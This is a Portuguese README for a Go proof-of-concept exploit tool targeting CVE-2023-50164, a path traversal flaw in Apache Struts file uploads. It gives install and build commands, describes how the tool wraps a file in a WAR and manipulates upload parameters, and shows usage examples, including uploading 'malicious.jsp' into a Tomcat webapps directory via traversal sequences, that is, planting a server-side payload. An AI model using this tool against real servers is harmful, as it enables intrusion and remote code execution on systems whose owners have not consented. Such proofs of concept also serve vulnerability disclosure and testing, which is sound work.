
Prova de Conceito para Path Traversal no Apache Struts ("CVE-2023-50164")
Instalação
Para instalar esta ferramenta, você deve ter o Go versão no mínimo 1.20 instalado e configurado.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
Alternativamente, você pode compilá-la manualmente: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
Como funciona?
Esta ferramenta opera através de uma série de etapas para executar o exploit.
Por exemplo, se você deseja enviar o arquivo /path/to/file-you-want-to-upload.txt, a ferramenta procede da seguinte forma:
Ela compacta o arquivo especificado em um arquivo WAR, gerando um file-you-want-to-upload.war no
diretório temporário específico do sistema operacional. Assim, a ferramenta assume que o caminho do arquivo de contexto do servlet é
/file-you-want-to-upload/file-you-want-to-upload.txt.
Ela verifica se o caminho do arquivo de contexto do servlet já existe. Se existir, a ferramenta retorna imediatamente um erro.
A ferramenta tenta enviar o arquivo WAR manipulando os parâmetros de upload de arquivo.
Subsequentemente, ela verifica novamente a disponibilidade (código de status 200) do caminho do arquivo de contexto do servlet, indicando sucesso no upload do arquivo.
Uso
$ cve-2023-50164-poc -h
PoC para CVE-2023-50164
--
codificado por @dwisiswant0
Uso:
cve-2023-50164-poc -u <URL> -f <ARQUIVO> -p <CAMINHO>
Opções:
-u, --url <URL> Especifica a URL do endpoint de upload
-f, --file <ARQUIVO> Fornece o arquivo de payload para upload
-t, --traverse-seq <N> Gera sequências de travessia N vezes (padrão: "0")
-p, --path <CAMINHO> Especifica o caminho para o diretório raiz acessível
-w, -win, --windows Converte caracteres de barra ("/") para separador do Windows ("\")
Exemplo:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
Notas
O binário jar deve estar presente no $PATH do seu sistema.
O caminho de destino deve ser um caminho raiz acessível, como /var/lib/jetty/webapps para Jetty ou
/opt/tomcat/webapps para Apache Tomcat.
A sequência de travessia padrão é zero ("0"); você pode inserir sequências de travessia manualmente para o
valor da opção -p/--path, por exemplo, /../webapps ou /../../opt/tomcat/webapps. As sequências de travessia
serão diferentes para cada servlet.
A opção -w/-win/--windows é usada exclusivamente quando o servlet opera em um servidor Windows.
Aviso de Responsabilidade
Usar esta ferramenta para atacar alvos sem consentimento mútuo é ilegal. Os usuários devem seguir as leis locais, estaduais e federais. O desenvolvedor ("dwisiswant0"/"Dwi Siswanto") NÃO é responsável por qualquer dano causado pelo uso indevido da ferramenta.
Licença
Esta ferramenta é licenciada sob WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE). Consulte COPYING.